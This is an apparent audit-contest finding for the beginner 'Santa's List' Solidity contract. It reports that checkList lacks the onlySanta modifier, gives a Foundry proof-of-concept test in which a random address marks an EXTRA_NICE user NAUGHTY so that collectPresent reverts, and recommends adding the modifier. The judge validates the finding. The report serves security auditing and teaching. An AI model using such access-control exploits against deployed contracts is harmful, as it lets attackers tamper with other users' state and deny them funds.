First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Access to checkList Function in SantasList.sol

dianivanov

Summary

The function "checkList" in "SantasList.sol" contract is missing the modifier "onlySanta" contrary to it's documentation and to the protocol.

Vulnerability Details

The "checkList" function can be called with success by anyone. But it should revert.
If you add this test to SantasListTest.t.sol it will pass, but it shouldn't:

function test_attack_letRandomUsers_toCheckListOnce_withAnyStatus_soANiceUserCantCollectTheirPresent() public {
//Make a random address, potentially molicious
address randomAddress = makeAddr("randomAddress");
​
//Santa is checking user to be EXTRA_NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
//An attacker is allowed to call checkList, this would prevent the EXTRA_NICE
//user to collect their present by calling "collectPresent"
vm.startPrank(randomAddress);
santasList.checkList(user, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
//An initially checked by santa EXTRA_NICE user is not allowed to collect their present
//because collectPresent will revert as s_theListCheckedOnce[user] != s_theListCheckedTwice[user]
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}
​

Impact

Any address can call "checkList" and change the state variable of the mapping "s_theListCheckedOnce" in "SantaList.sol".
As a result, this vulnerability allows an attacker to prevent NICE/EXTRA_NICE users from collecting their presents.

Tools Used

Manual inspection & Foundry testing

Recommendations

Add "onlySanta" modifier to the "checkList" function:

function checkList(address person, Status status) external onlySanta {
    s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.